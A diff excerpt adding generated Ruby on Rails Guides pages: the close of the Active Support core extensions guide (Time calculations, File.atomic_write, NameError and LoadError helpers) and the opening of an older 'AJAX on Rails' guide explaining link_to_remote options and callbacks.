+# =&gt; Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# =&gt; Mon, 02 Aug 2010 23:15:17 +0000
+</pre>
+</div>
+</notextile>
+
+<p>They translate to calls to <tt>since</tt> or <tt>advance</tt>. For example here we get the correct jump in the calendar reform:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# =&gt; Fri, 15 Oct 1582 00:00:00 +0000
+</pre>
+</div>
+</notextile>
+
+<h3 id="extensions-to-time">18 Extensions to <tt>Time</tt></h3>
+<h4 id="time-calculations">18.1 Calculations</h4>
+<div class='note'><p>All the following methods are defined in <tt>active_support/core_ext/date_time/calculations.rb</tt>.</p></div>
+<p>Active Support adds to <tt>Time</tt> many of the methods available for <tt>DateTime</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_week (monday, at_beginning_of_week)
+end_on_week (at_end_of_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year
+next_year
+</pre>
+</div>
+</notextile>
+
+<p>They are analogous. Please refer to their documentation above and take into account the following differences:</p>
+<ul>
+	<li><tt>change</tt> accepts an additional <tt>:usec</tt> option.</li>
+	<li><tt>Time</tt> understands <span class="caps">DST</span>, so you get correct <span class="caps">DST</span> calculations as in</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Time.zone_default
+# =&gt; #&lt;ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name=&quot;Madrid&quot;, ...&gt;
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local_time(2010, 3, 28, 1, 59, 59)
+# =&gt; Sun Mar 28 01:59:59 +0100 2010
+t.advance(:seconds =&gt; 1)
+# =&gt; Sun Mar 28 03:00:00 +0200 2010
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>If <tt>since</tt> or <tt>ago</tt> jump to a time that can&#8217;t be expressed with <tt>Time</tt> a <tt>DateTime</tt> object is returned instead.</li>
+</ul>
+<h4 id="time-constructors">18.2 Time Constructors</h4>
+<p>Active Support defines <tt>Time.current</tt> to be <tt>Time.zone.now</tt> if there&#8217;s a user time zone defined, with fallback to <tt>Time.now</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Time.zone_default
+# =&gt; #&lt;ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name=&quot;Madrid&quot;, ...&gt;
+Time.current
+# =&gt; Fri, 06 Aug 2010 17:11:58 CEST +02:00
+</pre>
+</div>
+</notextile>
+
+<p>Analogously to <tt>DateTime</tt>, the predicates <tt>past?</tt>, and <tt>future?</tt> are relative to <tt>Time.current</tt>.</p>
+<p>Use the <tt>local_time</tt> class method to create time objects honoring the user time zone:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Time.zone_default
+# =&gt; #&lt;ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name=&quot;Madrid&quot;, ...&gt;
+Time.local_time(2010, 8, 15)
+# =&gt; Sun Aug 15 00:00:00 +0200 2010
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>utc_time</tt> class method returns a time in <span class="caps">UTC</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Time.zone_default
+# =&gt; #&lt;ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name=&quot;Madrid&quot;, ...&gt;
+Time.utc_time(2010, 8, 15)
+# =&gt; Sun Aug 15 00:00:00 UTC 2010
+</pre>
+</div>
+</notextile>
+
+<p>Both <tt>local_time</tt> and <tt>utc_time</tt> accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.</p>
+<p>If the time to be constructed lies beyond the range supported by <tt>Time</tt> in the runtime platform, usecs are discarded and a <tt>DateTime</tt> object is returned instead.</p>
+<h5 id="time-durations">18.2.1 Durations</h5>
+<p>Durations can be added and substracted to time objects:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = Time.current
+# =&gt; Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  =&gt; Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# =&gt; Mon, 02 Aug 2010 23:21:11 UTC +00:00
+</pre>
+</div>
+</notextile>
+
+<p>They translate to calls to <tt>since</tt> or <tt>advance</tt>. For example here we get the correct jump in the calendar reform:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Time.utc_time(1582, 10, 3) + 5.days
+# =&gt; Mon Oct 18 00:00:00 UTC 1582
+</pre>
+</div>
+</notextile>
+
+<h3 id="extensions-to-process">19 Extensions to <tt>Process</tt></h3>
+<h4 id="daemon">19.1 <tt>daemon</tt></h4>
+<p>Ruby 1.9 provides <tt>Process.daemon</tt>, and Active Support defines it for previous versions. It accepts the same two arguments, whether it should chdir to the root directory (default, true), and whether it should inherit the standard file descriptors from the parent (default, false).</p>
+<h3 id="extensions-to-file">20 Extensions to <tt>File</tt></h3>
+<h4 id="atomic_write">20.1 <tt>atomic_write</tt></h4>
+<p>With the class method <tt>File.atomic_write</tt> you can write to a file in a way that will prevent any reader from seeing half-written content.</p>
+<p>The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done <tt>atomic_write</tt> closes the file handle and completes its job.</p>
+<p>For example, Action Pack uses this method to write asset cache files like <tt>all.css</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+</pre>
+</div>
+</notextile>
+
+<p>To accomplish this <tt>atomic_write</tt> creates a temporary file. That&#8217;s the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on <span class="caps">POSIX</span> systems. If the target file exists <tt>atomic_write</tt> overwrites it and keeps owners and permissions.</p>
+<div class='warning'><p>Note you can&#8217;t append with <tt>atomic_write</tt>.</p></div>
+<p>The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/file/atomic.rb</tt>.</p></div>
+<h3 id="extensions-to-nameerror">21 Extensions to <tt>NameError</tt></h3>
+<p>Active Support adds <tt>missing_name?</tt> to <tt>NameError</tt>, which tests whether the exception was raised because of the name passed as argument.</p>
+<p>The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.</p>
+<div class='info'><p>A symbol can represent a fully-qualified constant name as in <tt>:"ActiveRecord::Base"</tt>, so the behavior for symbols is defined for convenience, not because it has to be that way technically.</p></div>
+<p>For example, when an action of <tt>PostsController</tt> is called Rails tries optimistically to use <tt>PostsHelper</tt>. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that <tt>posts_helper.rb</tt> raises a <tt>NameError</tt> due to an actual unknown constant. That should be reraised. The method <tt>missing_name?</tt> provides a way to distinguish both cases:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile =&gt; e
+  raise e unless e.is_missing? &quot;#{module_path}_helper&quot;
+rescue NameError =&gt; e
+  raise e unless e.missing_name? &quot;#{module_name}Helper&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/name_error.rb</tt>.</p></div>
+<h3 id="extensions-to-loaderror">22 Extensions to <tt>LoadError</tt></h3>
+<p>Active Support adds <tt>is_missing?</tt> to <tt>LoadError</tt>, and also assigns that class to the constant <tt>MissingSourceFile</tt> for backwards compatibility.</p>
+<p>Given a path name <tt>is_missing?</tt> tests whether the exception was raised due to that particular file (except perhaps for the &#8220;.rb&#8221; extension).</p>
+<p>For example, when an action of <tt>PostsController</tt> is called Rails tries to load <tt>posts_helper.rb</tt>, but that file may not exist. That&#8217;s fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method <tt>is_missing?</tt> provides a way to distinguish both cases:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile =&gt; e
+  raise e unless e.is_missing? &quot;helpers/#{module_path}_helper&quot;
+rescue NameError =&gt; e
+  raise e unless e.missing_name? &quot;#{module_name}Helper&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/load_error.rb</tt>.</p></div>
+<h3 id="changelog">23 Changelog</h3>
+<p><a href="https://rails.lighthouseapp.com/projects/16213/tickets/67">Lighthouse ticket</a></p>
+<ul>
+	<li>August 10, 2010: Starts to take shape, added to the index.</li>
+	<li>April 18, 2009: Initial version by <a href="credits.html#fxn">Xavier Noria</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/ajax_on_rails.html
@@ -0,0 +1,479 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: AJAX on Rails</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2><span class="caps">AJAX</span> on Rails</h2>
+<p>This guide covers the built-in Ajax/Javascript functionality of Rails (and more); it will enable you to create rich and dynamic <span class="caps">AJAX</span> applications with ease! We will cover the following topics:</p>
+<ul>
+	<li>Quick introduction to <span class="caps">AJAX</span> and related technologies</li>
+	<li>Handling Javascript the Rails way: Rails helpers, <span class="caps">RJS</span>, Prototype and script.aculo.us</li>
+	<li>Testing Javascript functionality</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#hello-ajax-a-quick-intro">Hello <span class="caps">AJAX</span> &#8211; a Quick Intro</a><ul><li><a href="#asynchronous-javascript-xml">Asynchronous Javascript + <span class="caps">XML</span></a></li> <li><a href="#the-dom">The <span class="caps">DOM</span></a></li> <li><a href="#standard-html-communication-vs-ajax">Standard <span class="caps">HTML</span> communication vs <span class="caps">AJAX</span></a></li></ul></li><li><a href="#built-in-rails-helpers">Built-in Rails Helpers</a><ul><li><a href="#the-quintessential-ajax-rails-helper-link_to_remote">The Quintessential <span class="caps">AJAX</span> Rails Helper: link_to_remote</a></li> <li><a href="#ajax-forms"><span class="caps">AJAX</span> Forms</a></li> <li><a href="#observing-elements">Observing Elements</a></li> <li><a href="#calling-a-function-periodically">Calling a Function Periodically</a></li> <li><a href="#miscellaneous-functionality">Miscellaneous Functionality</a></li></ul></li><li><a href="#javascript-the-rails-way-rjs">JavaScript the Rails way: <span class="caps">RJS</span></a><ul><li><a href="#javascript-without-rjs">Javascript without <span class="caps">RJS</span></a></li> <li><a href="#inline-rjs">Inline <span class="caps">RJS</span></a></li> <li><a href="#rjs-templates"><span class="caps">RJS</span> Templates</a></li> <li><a href="#rjs-reference"><span class="caps">RJS</span> Reference</a></li></ul></li><li><a href="#i-want-my-yellow-thingy-quick-overview-of-script-aculo-us">I Want my Yellow Thingy: Quick overview of Script.aculo.us</a><ul><li><a href="#introduction">Introduction</a></li> <li><a href="#visual-effects">Visual Effects</a></li> <li><a href="#drag-and-drop">Drag and Drop</a></li></ul></li><li><a href="#testing-javascript">Testing Javascript</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="hello-ajax-a-quick-intro">1 Hello <span class="caps">AJAX</span> &#8211; a Quick Intro</h3>
+<p>If you are a &#8216;show me the code&#8217; type of person, you might want to skip this part and jump to the <span class="caps">RJS</span> section right away. However, I would really recommend to read it &#8211; you&#8217;ll need the basics of <span class="caps">DOM</span>, http requests and other topics discussed here to really understand Ajax on Rails.</p>
+<h4 id="asynchronous-javascript-xml">1.1 Asynchronous Javascript + <span class="caps">XML</span></h4>
+<p>Basic terminology, new style of creating web apps</p>
+<h4 id="the-dom">1.2 The <span class="caps">DOM</span></h4>
+<p>basics of the <span class="caps">DOM</span>, how is it built, properties, features, why is it central to <span class="caps">AJAX</span></p>
+<h4 id="standard-html-communication-vs-ajax">1.3 Standard <span class="caps">HTML</span> communication vs <span class="caps">AJAX</span></h4>
+<p>How do &#8216;standard&#8217; and <span class="caps">AJAX</span> requests differ, why does this matter for understanding <span class="caps">AJAX</span> on Rails (tie in for *_remote helpers, the next section)</p>
+<h3 id="built-in-rails-helpers">2 Built-in Rails Helpers</h3>
+<p>Rails&#8217; Javascript framework of choice is <a href="http://www.prototypejs.org">Prototype</a>. Prototype is a generic-purpose Javascript framework that aims to ease the development of dynamic web applications by offering <span class="caps">DOM</span> manipulation, <span class="caps">AJAX</span> and other Javascript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views.</p>
+<p>To get access to these helpers, all you have to do is to include the prototype framework in your pages &#8211; typically in your master layout, application.html.erb &#8211; like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag 'prototype'
+</pre>
+</div>
+</notextile>
+
+<p>You are ready to add some <span class="caps">AJAX</span> love to your Rails app!</p>
+<h4 id="the-quintessential-ajax-rails-helper-link_to_remote">2.1 The Quintessential <span class="caps">AJAX</span> Rails Helper: link_to_remote</h4>
+<p>Let&#8217;s start with the the probably most often used helper: <tt>link_to_remote</tt>, which has an interesting feature from the documentation point of view: the options supplied to <tt>link_to_remote</tt> are shared by all other <span class="caps">AJAX</span> helpers, so learning the mechanics and options of <tt>link_to_remote</tt> is a great help when using other helpers.</p>
+<p>The signature of <tt>link_to_remote</tt> function is the same as that of the standard <tt>link_to</tt> helper:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def link_to_remote(name, options = {}, html_options = nil)
+</pre>
+</div>
+</notextile>
+
+<p>And here is a simple example of link_to_remote in action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Add to cart&quot;,
+  :url =&gt; add_to_cart_url(product.id),
+  :update =&gt; &quot;cart&quot;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>The very first parameter, a string, is the text of the link which appears on the page.</li>
+</ul>
+<ul>
+	<li>The second parameter, the <tt>options</tt> hash is the most interesting part as it has the <span class="caps">AJAX</span> specific stuff:
+	<ul>
+		<li><strong>:url</strong> This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty <tt>options</tt> hash to <tt>link_to_remote</tt> &#8211; but in this case the <span class="caps">URL</span> used for the <span class="caps">POST</span> request will be equal to your current <span class="caps">URL</span> which is probably not your intention). This <span class="caps">URL</span> points to your <span class="caps">AJAX</span> action handler. The <span class="caps">URL</span> is typically specified by Rails <span class="caps">REST</span> view helpers, but you can use the <tt>url_for</tt> format too.</li>
+		<li><strong>:update</strong> There are basically two ways of injecting the server response into the page: One is involving <span class="caps">RJS</span> and we will discuss it in the next chapter, and the other is specifying a <span class="caps">DOM</span> id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this &#8211; however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:</li>
+	</ul></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Add to cart&quot;,
+  :url =&gt; add_to_cart_url(product),
+  :update =&gt; { :success =&gt; &quot;cart&quot;, :failure =&gt; &quot;error&quot; }
+</pre>
+</div>
+</notextile>
+
+<p>If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the <span class="caps">DOM</span> id <tt>error</tt> is updated rather than the <tt>cart</tt> element.</p>
+
+	<ul>
+		<li><strong>position</strong> By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified <span class="caps">DOM</span> id, replacing the original content of the element  (if there was any). You might want to alter this behavior by keeping the original content &#8211; the only question is where to place the new content? This can specified by the <tt>position</tt> parameter, with four possibilities:
+		<ul>
+			<li><tt>:before</tt> Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.</li>
+			<li><tt>:after</tt> Similar behavior to <tt>:before</tt>, but in this case the response is inserted after the target element.</li>
+			<li><tt>:top</tt> Inserts the text into the target element, before it&#8217;s original content. If the target element was empty, this is equivalent with not specifying <tt>:position</tt> at all.</li>
+			<li><tt>:bottom</tt> The counterpart of <tt>:top</tt>: the response is inserted after the target element&#8217;s original content.</li>
+		</ul></li>
+	</ul><p>A typical example of using <tt>:bottom</tt> is inserting a new &lt;li&gt; element into an existing list:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Add new item&quot;,
+  :url =&gt; items_url,
+  :update =&gt; 'item_list',
+  :position =&gt; :bottom
+</pre>
+</div>
+</notextile>
+
+
+	<ul>
+		<li><strong>:method</strong> Most typically you want to use a <span class="caps">POST</span> request when adding a remote link to your view so this is the default behavior. However, sometimes you&#8217;ll want to update (<span class="caps">PUT</span>) or delete/destroy (<span class="caps">DELETE</span>) something and you can specify this with the <tt>:method</tt> option. Let&#8217;s see an example for a typical <span class="caps">AJAX</span> link for deleting an item from a list:</li>
+	</ul><notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Delete the item&quot;,
+  :url =&gt; item_url(item),
+  :method =&gt; :delete
+</pre>
+</div>
+</notextile>
+
+<p>Note that if we wouldn&#8217;t override the default behavior (<span class="caps">POST</span>), the above snippet would route to the create action rather than destroy.</p>
+
+	<ul>
+		<li><strong>JavaScript filters</strong> You can customize the remote call further by wrapping it with some JavaScript code. Let&#8217;s say in the previous example, when deleting a link, you&#8217;d like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options &#8211; let&#8217;s see them one by one:
+		<ul>
+			<li><tt>:confirm</tt> =&gt; <tt>msg</tt> Pops up a JavaScript confirmation dialog, displaying <tt>msg</tt>. If the user chooses &#8216;OK&#8217;, the request is launched, otherwise canceled.</li>
+			<li><tt>:condition</tt> =&gt; <tt>code</tt> Evaluates <tt>code</tt> (which should evaluate to a boolean) and proceeds if it&#8217;s true, cancels the request otherwise.</li>
+			<li><tt>:before</tt> =&gt; <tt>code</tt> Evaluates the <tt>code</tt> just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).</li>
+			<li><tt>:after</tt> =&gt; <tt>code</tt> Evaluates the <tt>code</tt> after launching the request. Note that this is different from the <tt>:success</tt> or <tt>:complete</tt> callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to <tt>:after</tt> is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.</li>
+			<li><tt>:submit</tt> =&gt; <tt>dom_id</tt> This option does not make sense for <tt>link_to_remote</tt>, but we&#8217;ll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form &#8211; use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the <span class="caps">DOM</span> id <tt>dom_id</tt>.</li>
+			<li><tt>:with</tt> &gt; <tt>code</tt> The JavaScript code snippet in <tt>code</tt> is evaluated and added to the request <span class="caps">URL</span> as a parameter (or set of parameters). Therefore, <tt>code</tt> should return a valid <span class="caps">URL</span> query string (like &#8220;item_type=8&#8221; or &#8220;item_type=8&amp;sort=true&#8221;). Usually you want to obtain some value(s) from the page &#8211; let&#8217;s see an example:</li>
+		</ul></li>
+	</ul><notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Update record&quot;,
+  :url =&gt; record_url(record),
+  :method =&gt; :put,
+  :with =&gt; &quot;'status=' + 'encodeURIComponent($('status').value) + '&amp;completed=' + $('completed')&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This generates a remote link which adds 2 parameters to the standard <span class="caps">URL</span> generated by Rails, taken from the page (contained in the elements matched by the &#8216;status&#8217; and &#8216;completed&#8217; <span class="caps">DOM</span> id).</p>
+
+	<ul>
+		<li><strong>Callbacks</strong> Since an <span class="caps">AJAX</span> call is typically asynchronous, as it&#8217;s name suggests (this is not a rule, and you can fire a synchronous request &#8211; see the last option, <tt>:type</tt>) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
+		<ul>
+			<li><tt>:loading:</tt> =&gt; <tt>code</tt> The request is in the process of receiving the data, but the transfer is not completed yet.</li>
+			<li><tt>:loaded:</tt> =&gt; <tt>code</tt> The transfer is completed, but the data is not processed and returned yet</li>
+			<li><tt>:interactive:</tt> =&gt; <tt>code</tt> One step after <tt>:loaded</tt>: The data is fully received and being processed</li>
+			<li><tt>:success:</tt> =&gt; <tt>code</tt> The data is fully received, parsed and the server responded with &#8220;200 OK&#8221;</li>
+			<li><tt>:failure:</tt> =&gt; <tt>code</tt> The data is fully received, parsed and the server responded with <strong>anything</strong> but &#8220;200 OK&#8221; (typically 404 or 500, but in general with any status code ranging from 100 to 509)</li>
+			<li><tt>:complete:</tt> =&gt; <tt>code</tt> The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).</li>
+			<li>Any other status code ranging from 100 to 509: Additionally you might want to check for other <span class="caps">HTTP</span> status codes, such as 404. In this case simply use the status code as a number:</li>
+		</ul></li>
+	</ul><notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Add new item&quot;,
+  :url =&gt; items_url,
+  :update =&gt; &quot;item_list&quot;,
+  404 =&gt; &quot;alert('Item not found!')&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Let&#8217;s see a typical example for the most frequent callbacks, <tt>:success</tt>, <tt>:failure</tt> and <tt>:complete</tt> in action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to_remote &quot;Add new item&quot;,
+  :url =&gt; items_url,
+  :update =&gt; &quot;item_list&quot;,
+  :before =&gt; &quot;$('progress').show()&quot;,
+  :complete =&gt; &quot;$('progress').hide()&quot;,
+  :success =&gt; &quot;display_item_added(request)&quot;,
+  :failure =&gt; &quot;display_error(request)&quot;,
+</pre>
+</div>
+</notextile>
+
+
+	<ul>
+		<li><strong>:type</strong> If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn&#8217;t return a status code), you can use the <tt>:type</tt> option with the value of <tt>:synchronous</tt>.</li>
+	</ul></li>
+	<li>Finally, using the <tt>html_options</tt> parameter you can add <span class="caps">HTML</span> attributes to the generated tag. It works like the same parameter of the <tt>link_to</tt> helper. There are interesting side effects for the <tt>href</tt> and <tt>onclick</tt> parameters though:
+	<ul>
+		<li>If you specify the <tt>href</tt> parameter, the <span class="caps">AJAX</span> link will degrade gracefully, i.e. the link will point to the <span class="caps">URL</span> even if JavaScript is disabled in the client browser</li>
+		<li><tt>link_to_remote</tt> gains it&#8217;s <span class="caps">AJAX</span> behavior by specifying the remote call in the onclick handler of the link. If you supply <tt>html_options[:onclick]</tt> you override the default behavior, so use this with care!</li>
+	</ul><p>We are finished with <tt>link_to_remote</tt>. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.</p>
+<h4 id="ajax-forms">2.2 <span class="caps">AJAX</span> Forms</h4>
+<p>There are three different ways of adding <span class="caps">AJAX</span> forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard <span class="caps">HTTP</span> request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:</p>
+<ul>
